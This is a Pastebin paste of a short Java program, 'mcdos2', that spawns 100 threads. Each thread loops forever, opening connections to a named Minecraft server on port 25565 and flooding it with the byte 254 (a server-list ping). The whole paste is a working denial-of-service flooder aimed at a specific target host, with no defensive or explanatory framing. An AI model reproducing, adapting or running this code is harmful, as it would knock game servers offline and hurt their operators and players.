Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.net.*;
- import java.util.*;
- import java.io.*;
- public class mcdos2 {
- public mcdos2() {
- for(int i=0;i<100;i++) {
- new derpthread();
- }
- }
- public static void main(String[] args) {
- new mcdos2();
- }
- }
- class derpthread extends Thread {
- public derpthread() {
- this.start();
- }
- public void run() {
- while(true) {
- action();
- }
- }
- public void action() {
- try {
- Socket socket = new Socket();
- socket.setSoTimeout(3000);
- socket.setTcpNoDelay(true);
- socket.setTrafficClass(18);
- socket.connect(new InetSocketAddress("hcsmp.com", 25565), 1000);
- DataInputStream datainputstream = new DataInputStream(socket.getInputStream());
- DataOutputStream dataoutputstream = new DataOutputStream(socket.getOutputStream());
- while(true) {
- dataoutputstream.write(254);
- }
- } catch (Exception e) {
- e.printStackTrace();
- }
- }
- }
Add Comment
Please, Sign In to add comment